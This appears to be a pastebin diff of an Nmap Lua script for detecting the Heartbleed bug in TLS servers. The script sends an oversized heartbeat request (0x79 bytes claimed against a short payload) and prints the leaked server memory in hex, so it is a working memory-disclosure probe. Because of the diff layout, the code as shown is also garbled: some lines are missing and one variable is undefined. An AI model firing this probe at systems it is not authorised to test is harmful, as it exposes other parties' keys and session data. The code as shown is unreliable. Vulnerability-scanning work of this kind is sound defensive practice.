SHOW:
|
|
- or go back to the newest paste.
| 1 | local nmap = require "nmap" | |
| 2 | local shortport = require "shortport" | |
| 3 | local stdnse = require "stdnse" | |
| 4 | local bin = require "bin" | |
| 5 | local tls = require "tls" | |
| 6 | ||
| 7 | description = [[ | |
| 8 | Checks for the Heartbleed bug | |
| 9 | ||
| 10 | References: | |
| 11 | * http://heartbleed.com/ | |
| 12 | ]] | |
| 13 | ||
| 14 | --- | |
| 15 | -- @usage | |
| 16 | -- nmap --script=tls-heartbeat <targets> | |
| 17 | -- | |
| 18 | --@output | |
| 19 | -- 443/tcp open https | |
| 20 | -- |_tls-heartbeat: | |
| 21 | -- | |
| 22 | -- @xmloutput | |
| 23 | ||
| 24 | ||
| 25 | author = "Daniel Miller" | |
| 26 | ||
| 27 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" | |
| 28 | ||
| 29 | categories = {"discovery", "safe"}
| |
| 30 | ||
| 31 | portrule = shortport.ssl | |
| 32 | ||
| 33 | action = function(host, port) | |
| 34 | local sock, status, response, err, cli_h | |
| 35 | ||
| 36 | cli_h = tls.client_hello({
| |
| 37 | ["protocol"] = "TLSv1.1", | |
| 38 | ["ciphers"] = {
| |
| 39 | "TLS_RSA_WITH_3DES_EDE_CBC_SHA", | |
| 40 | "TLS_RSA_WITH_RC4_128_MD5", | |
| 41 | }, | |
| 42 | ["compressors"] = {"NULL"},
| |
| 43 | ["extensions"] = {
| |
| 44 | ["heartbeat"] = "\x01", -- peer_not_allowed_to_send | |
| 45 | }, | |
| 46 | }) | |
| 47 | ||
| 48 | -- Connect to the target server | |
| 49 | sock = nmap.new_socket() | |
| 50 | sock:set_timeout(1000) | |
| 51 | status, err = sock:connect(host, port) | |
| 52 | if not status then | |
| 53 | sock:close() | |
| 54 | stdnse.print_debug("Can't send: %s", err)
| |
| 55 | return nil | |
| 56 | end | |
| 57 | ||
| 58 | local handshake_done = false | |
| 59 | -- Send Client Hello to the target server | |
| 60 | status, err = sock:send(cli_h) | |
| 61 | if not status then | |
| 62 | stdnse.print_debug("Couldn't send: %s", err)
| |
| 63 | sock:close() | |
| 64 | return nil | |
| 65 | end | |
| 66 | ||
| 67 | -- Read response | |
| 68 | local done = false | |
| 69 | local supported = false | |
| 70 | local i = 1 | |
| 71 | - | status, response, err = tls.record_buffer(sock) |
| 71 | + | |
| 72 | status, response, err = tls.record_buffer(sock, response, i) | |
| 73 | if err == "TIMEOUT" then | |
| 74 | done = true | |
| 75 | break | |
| 76 | elseif not status then | |
| 77 | stdnse.print_debug("Couldn't receive: %s", err)
| |
| 78 | sock:close() | |
| 79 | return nil | |
| 80 | end | |
| 81 | - | local i = 1 |
| 81 | + | |
| 82 | - | while i <= #response do |
| 82 | + | i, record = tls.record_read(response, i) |
| 83 | - | local record |
| 83 | + | if record == nil then |
| 84 | - | i, record = tls.record_read(response, i) |
| 84 | + | local nsedebug = require "nsedebug" |
| 85 | - | if record == nil then |
| 85 | + | nsedebug.print_hex(string.sub(response, prev)) |
| 86 | - | stdnse.print_debug("%s: Unknown response from server", SCRIPT_NAME)
|
| 86 | + | stdnse.print_debug("%s: Unknown response from server", SCRIPT_NAME)
|
| 87 | - | return nil |
| 87 | + | |
| 88 | end | |
| 89 | ||
| 90 | - | if record.type == "handshake" then |
| 90 | + | if record.type == "handshake" then |
| 91 | - | for _, body in ipairs(record.body) do |
| 91 | + | for _, body in ipairs(record.body) do |
| 92 | - | if body.type == "server_hello" then |
| 92 | + | if body.type == "server_hello" then |
| 93 | - | if body.extensions and body.extensions["heartbeat"] == "\x01" then |
| 93 | + | if body.extensions and body.extensions["heartbeat"] == "\x01" then |
| 94 | - | supported = true |
| 94 | + | supported = true |
| 95 | - | end |
| 95 | + | |
| 96 | - | elseif body.type == "server_hello_done" then |
| 96 | + | elseif body.type == "server_hello_done" then |
| 97 | - | stdnse.print_debug("we're done!")
|
| 97 | + | stdnse.print_debug("we're done!")
|
| 98 | - | done = true |
| 98 | + | done = true |
| 99 | end | |
| 100 | end | |
| 101 | end | |
| 102 | until done | |
| 103 | - | until done -- Not done, need a completed handshake :( |
| 103 | + | |
| 104 | stdnse.print_debug("%s: Server does not support TLS Heartbeat Requests.", SCRIPT_NAME)
| |
| 105 | return nil | |
| 106 | end | |
| 107 | ||
| 108 | local numbytes = 0x79 | |
| 109 | local padding = "YELLOW SUBMARINE" | |
| 110 | local payload = bin.pack("PP", "nmap", padding)
| |
| 111 | - | local payload = bin.pack("AA", "nmap", padding) -- Maybe should be ">P>P"?
|
| 111 | + | |
| 112 | 1, -- heartbeat_request | |
| 113 | numbytes, | |
| 114 | payload | |
| 115 | ) | |
| 116 | ) | |
| 117 | ||
| 118 | local status, err = sock:send(hb) | |
| 119 | -- Read response | |
| 120 | status, response, err = tls.record_buffer(sock) | |
| 121 | if not status then | |
| 122 | stdnse.print_debug("Couldn't receive: %s", err)
| |
| 123 | sock:close() | |
| 124 | return nil | |
| 125 | end | |
| 126 | ||
| 127 | local i, record = tls.record_read(response, 0) | |
| 128 | if record == nil then | |
| 129 | stdnse.print_debug("%s: Unknown response from server", SCRIPT_NAME)
| |
| 130 | return nil | |
| 131 | end | |
| 132 | ||
| 133 | if record.type == "heartbeat" and record.body[1].type == 2 then | |
| 134 | local payload = record.body[1].payload | |
| 135 | if #payload > 4 then | |
| 136 | return "VULNERABLE\n" .. stdnse.to_hex(payload) | |
| 137 | end | |
| 138 | else | |
| 139 | stdnse.print_debug("%s: Server response was not heartbeat_response", SCRIPT_NAME)
| |
| 140 | return nil | |
| 141 | end | |
| 142 | end |